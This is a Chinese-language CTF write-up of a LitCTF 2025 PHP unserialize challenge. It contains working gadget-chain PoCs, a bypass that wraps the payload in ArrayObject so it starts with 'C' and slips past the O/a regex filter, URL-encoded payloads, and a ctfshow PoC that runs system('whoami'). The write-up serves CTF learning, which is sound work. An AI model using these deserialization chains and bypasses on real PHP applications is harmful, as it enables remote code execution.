思路
<?php
highlight_file(__FILE__);
error_reporting(0);
create_function("", 'die(`/readflag`);');
class Taki
{
private $musubi;
private $magic;
public function __unserialize(array $data)
{
$this->musubi = $data['musubi'];
$this->magic = $data['magic'];
return ($this->musubi)();
}
public function __call($func,$args){
(new $args[0]($args[1]))->{$this->magic}();
}
}
class Mitsuha
{
private $memory;
private $thread;
public function __invoke()
{
return $this->memory.$this->thread;
}
}
class KatawareDoki
{
private $soul;
private $kuchikamizake;
private $name;
public function __toString()
{
($this->soul)->flag($this->kuchikamizake,$this->name);
return "call error!no flag!";
}
}
$Litctf2025 = $_POST['Litctf2025'];
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025)){
unserialize($Litctf2025);
}else{
echo "把O改成C不就行了吗,笨蛋!~(∠・ω< )⌒☆";
}
首先分析攻击点
create_function("", 'die(`/readflag`);');
这里create_function
构造了一个匿名函数,执行该函数即可拿到flag
思路就清晰了
1、拿到匿名函数的函数名
2、执行该函数
<?php
$a=create_function("", 'die(`/readflag`);');
echo urlencode($a);
//\00lambda_1
预期的调用该匿名函数的方法
(new $args[0]($args[1]))->{$this->magic}();
翻php手册,需要找到一个原生类可以调用函数->ReflectionFunction
的invoke
非预期调用函数
return ($this->musubi)();
bypass
if(!preg_match("/^[Oa]:[\d]+/i", $Litctf2025))
题目也提示了换成C
C绕过
O标识符代表对象类型,而C标识符代表类名类型。如果将O替换为C,则在反序列化时会将其解释为一个新的类名字符串,从而创建一个新的类而不是对象。因为这个新的类没有被序列化过,所以它没有任何属性或方法。
题目 愚人杯3rd [easy_php]
<?php
error_reporting(0);
highlight_file(__FILE__);
class ctfshow{
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$data = $_GET['1+1>2'];
if(!preg_match("/^[Oa]:[\d]+/i", $data)){
unserialize($data);
}
?>
poc
<?php
error_reporting(0);
// highlight_file(__FILE__);
class ctfshow{
public $ctfshow="whoami";
public function __wakeup(){
die("not allowed!");
}
public function __destruct(){
system($this->ctfshow);
}
}
$a=new ctfshow;
$aa=new ArrayObject($a);
echo serialize($aa);
$a=new ArrayObject;
$a->a=new ctfshow;
echo serialize($a);
$a=new ctfshow;
$aa=['evil'=>$a];
$A=new ArrayObject($aa);
echo urlencode(serialize($A));
$a=new ctfshow;
$aa=new Splstack();
$aa->push($a);
echo serialize($aa);
实现了unserialize接口类的大概率是C打头,列出一些以C开头的原生类:
ArrayObject::unserialize
ArrayIterator::unserialize
RecursiveArrayIterator::unserialize
SplDoublyLinkedList::unserialize
SplQueue::unserialize
SplStack::unserialize
SplObjectStorage::unserialize
题解
预期poc
<?php
class Taki
{
public $musubi;
public $magic="invoke";
}
class Mitsuha
{
public $memory;
public $thread;
}
class KatawareDoki
{
public $soul;
public $kuchikamizake="ReflectionFunction";
public $name="\00lambda_1";
}
$a=new Taki;
$b=new Mitsuha;
$c=new KatawareDoki;
$a->musubi=$b;
$b->memory=$c;
$c->soul=$a;
$aa=new ArrayObject($a);
echo urlencode(serialize($aa));
?>
/// C%3A11%3A%22ArrayObject%22%3A227%3A%7Bx%3Ai%3A0%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3BO%3A7%3A%22Mitsuha%22%3A2%3A%7Bs%3A6%3A%22memory%22%3BO%3A12%3A%22KatawareDoki%22%3A3%3A%7Bs%3A4%3A%22soul%22%3Br%3A3%3Bs%3A13%3A%22kuchikamizake%22%3Bs%3A18%3A%22ReflectionFunction%22%3Bs%3A4%3A%22name%22%3Bs%3A9%3A%22%00lambda_1%22%3B%7Ds%3A6%3A%22thread%22%3BN%3B%7Ds%3A5%3A%22magic%22%3Bs%3A6%3A%22invoke%22%3B%7D%3Bm%3Aa%3A0%3A%7B%7D%7D
非预期
<?php
class Taki
{
public $musubi;
public $magic;
}
$a=new Taki;
$a->musubi="\00lambda_1";
$aa=array("evil"=>$a);
$A=new ArrayObject($aa);
echo urlencode(serialize($A));s
?>
///C%3A11%3A%22ArrayObject%22%3A90%3A%7Bx%3Ai%3A0%3Ba%3A1%3A%7Bs%3A4%3A%22evil%22%3BO%3A4%3A%22Taki%22%3A2%3A%7Bs%3A6%3A%22musubi%22%3Bs%3A9%3A%22%00lambda_1%22%3Bs%3A5%3A%22magic%22%3BN%3B%7D%7D%3Bm%3Aa%3A0%3A%7B%7D%7D
说些什么吧!